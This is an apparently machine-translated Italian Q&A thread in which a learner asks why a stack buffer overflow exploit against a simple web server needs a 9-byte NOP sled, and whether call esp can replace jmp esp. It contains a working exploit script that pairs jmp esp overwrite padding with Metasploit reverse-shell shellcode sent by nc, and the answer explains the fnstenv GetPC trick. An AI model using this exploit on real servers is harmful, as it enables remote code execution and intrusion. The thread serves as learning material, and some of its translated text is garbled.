Bufferoverflow - jmp esp. Ho bisogno di nops slitta? Anche la chiamata esp funziona?

1

Sto imparando l'overflow del buffer dello stack e apprezzerei l'aiuto.

Sto sfruttando un semplice server web che contiene questa funzione di registro. L'argomento s1 è l'input che fornisco via HTTP. Il server è in esecuzione su x86 linux con randomizzazione degli indirizzi dello stack.

void log(int type, char *s1, int num)
{
    int fd ;
    char logbuffer[1024];
    sprintf(logbuffer," INFO: %s:%d",s1,num);
}

Con metasploit pattern_create.rb e pattern_offset.rb ottengo l'offset di EIP che è 1037.

Genero shellcode con msfconsole; usa linux / x86 / shell_reverse_tcp; genera -e x86 / alpha_mixed -t bash

Trovo diversi indirizzi nella libreria standard contenente l'istruzione jump% esp. Sto usando 0x42122BA7.

Il mio script completo di exploit:

pre='perl -e "print 'A' x 1037;"'
nops='perl -e "print '\x90' x 9;"'
shellcode=... [from msfconsole]

address="\xA7\x2B\x12\x42"

egg="${pre}${address}${nops}${shellcode}"

echo -e $egg | nc 192.168.230.132 8888
echo $?

L'exploit funziona solo quando includo 9 e più nops tra l'EIP sovrascritto e l'inizio dello shellcode, altrimenti seg segna i difetti. La mia domanda è perché? Perché la slitta per i nops è necessaria in questo caso? La mia ipotesi è che lo shellcode decodifichi se stesso e sovrascriva un po 'di memoria prima di esso; quando includo i nops, la memoria è scrivibile, quando non lo faccio, la memoria non è scrivibile (perché è prima dell'ESP?) e quindi seg segna i difetti.

La mia seconda domanda è se questo exploit possa funzionare con "call% esp" invece di "jmp% esp". Secondo quello che ho trovato su Internet, funzionerebbe, ma non capisco perché. Immaginate lo stesso exploit di quello scritto sopra ma sovrascrivendo l'EIP con l'indirizzo contenente "call% esp". Questa è la mia comprensione di ciò che seguirà:

  1. funzione log ret urne. EIP viene estratto dallo stack e dal processore jmp su di esso. Punti ESP sotto (indirizzo più grande) EIP appena spuntato (NOPs ci sono).
  2. il processore trova l'istruzione "call% esp". EIP è spinto a impilare. L'ESP ora punta all'EIP appena spinto.
  3. jmp% esp viene eseguito. Saltare in cima alla pila dov'è l'EIP che è stato appena spinto.
  4. Che ora? L'istruzione successiva non è un NOP ma un primo byte casuale dell'EIP.
posta Jan Luxemburk 08.09.2017 - 17:19
fonte

1 risposta

1

Ho trovato una risposta alla seconda domanda. Secondo questo (https: // www.offensive-security.com / metasploit-unleashed / alphanumeric-shellcode /), lo shellcode generato da Metasploit ha bisogno di far funzionare il proprio indirizzo di memoria assoluto. Le prime cinque istruzioni del codice shell servono a questo scopo. Questi sono:

Parteimportantesonoleistruzionifcmovnuefnstenv.Allafinedel questo post sul blog viene spiegato come servono queste istruzioni per ottenere l'EIP corrente.

L'istruzione Fnstenv sta salvando l'ambiente in virgola mobile nell'indirizzo fornito. Scrive 28 byte e il puntatore dell'istruzione si trova su un offset di 12 byte. Penso che fcmovnu sia solo un'istruzione casuale a virgola mobile usata per inizializzare l'ambiente della FPU.

link

Quindi perché sono necessari 9 NOPS? Fnstenv sta scrivendo 28 byte all'indirizzo ESP-12 ("fnstenv [edi-0xc]" e esp è spostato prima sull'istruzione edi).

Se lo shellcode è appena sotto ESP, senza NOP, una parte dello shellcode viene sovrascritta (principalmente l'istruzione successiva "pop eax").

Se ci sono 9 NOP, questo è ciò che accade:

  1. Fnstenv sovrascrive 12 byte prima dell'ESP (non ci interessa questi).
  2. Quindi sovrascrive 9 NOP dopo l'ESP.
  3. 28 - (9 + 12) = 7. Altri 7 byte da scrivere.
  4. Questi 7 byte sovrascrivono l'inizio dello shellcode - ma solo le istruzioni che sono già state eseguite: mov, fcmovnu e fnstenv - sono insieme 7 byte. L'istruzione successiva "pop eax" non viene sovrascritta e lo shellcode funziona.

L'esame di un core core conferma questa spiegazione.

    
risposta data 17.09.2017 - 18:16
fonte

Leggi altre domande sui tag